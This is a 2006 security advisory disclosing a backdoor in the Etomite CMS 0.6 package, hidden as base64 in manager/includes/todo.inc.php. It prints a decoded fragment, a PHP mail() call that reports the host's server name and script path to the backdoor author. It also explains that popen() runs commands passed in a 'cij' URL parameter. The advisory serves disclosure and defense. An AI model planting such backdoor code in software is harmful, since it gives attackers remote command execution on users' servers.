Back to list
Etomite CMS "Backdoored"
Jan 27 2006 01:06AM
Luca securityfocus com, Ercoli securityfocus com,"[at]" securityfocus com, SeeWeb Com securityfocus com
Package: Etomite Content Management System
Version(s): 0.6 / previous versions may also be backdoored
Vulnerability Type: Remote Code Execution
The information is provided "as is" without warranty of any kind.
The author of this issue shall not be held liable for any
downtime, lost profits, or damages due to the informations
contained in this advisory.
What is Etomite?
[description taken from from the author's site]
Etomite is a Content Management System, which allows you to remotely
administer your website from anywhere that you have an Internet
Connection and a compatible Web-Browser.
Etomite source code contain a backdoor component that
allow remote users to execute arbitrary code on the host
that Etomite was installed on.
As of this writing (01-19-2006), the current stable version (0.6)
available from http://www.etomite.org/ has the following MD5 sum:
[It is possible for other backdoored archives to have different MD5 sums]
Malicious code is present in the 'manager/includes/todo.inc.php' file,
where we can find an encoded data with the base64 algorithm:
The result of base64-decoding is reported below:
mail("cijfer (at) netti (dot) fi [email concealed]","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"
Error Code #720938");
Analyzing decoded data is easy to understand that:
- The popen() function executes the command specified by the variable
named 'cij' provided to the script via URL query string
- An e-mail message, where there is reported the filename of the currently
executing script and the server name, will be sent to 'cijfer (at) netti (dot) fi [email concealed]'
Luca Ercoli <luca.e [at] seeweb.com>
[ reply ]
Copyright 2010, SecurityFocus